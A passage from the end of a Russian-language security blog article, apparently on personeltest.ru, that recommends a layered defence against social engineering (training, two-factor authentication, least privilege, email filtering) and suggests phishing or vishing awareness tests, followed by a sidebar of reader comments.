Также не забывайте о простых правилах цифровой гигиены и рекомендациях по повышению осведомленности в ИБ.

Мы уже говорили, что в интернете достаточно статей о социотехническом тестировании (такая есть и у нас), а также статей с рекомендациями по повышению защиты. Поэтому хотим в очередной раз просто напомнить, что здесь нужен комплексный подход, а значит следует помнить о:

  • регулярном обучении и опросе сотрудников
  • понятной поставке материалов и гайдов (Вики-страницы, видео и т.п.)
  • обязательной двухфакторной аутентификации
  • разграничении доступа и минимизации прав пользователей
  • хорошей фильтрации электронной почты
  • средствах защиты от целенаправленных атак


Возвращаясь к основному вопросу: что же выбрать в 2021-м?

Мы решили оставить его на размышление вам. Рекомендуем попробовать фишинг + вишинг или только вишинг. Поможет сотрудникам не только в корпоративной среде, но и при подобных атаках в нерабочей обстановке.

Главное, про что стоит помнить: обучение и социотехнические тестирования должны быть направлены на формирование культуры поведения, которая позволит своевременно выявлять и эффективно реагировать на различные атаки.

Стоит сместить фокус с заучивания обязательных действий по обнаружению социотехнических атак на объяснение, почему их должен выполнять каждый сотрудник в компании. Без осознанного подхода к информационной безопасности со стороны сотрудников ни одна обучающая программа не сработает.
Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru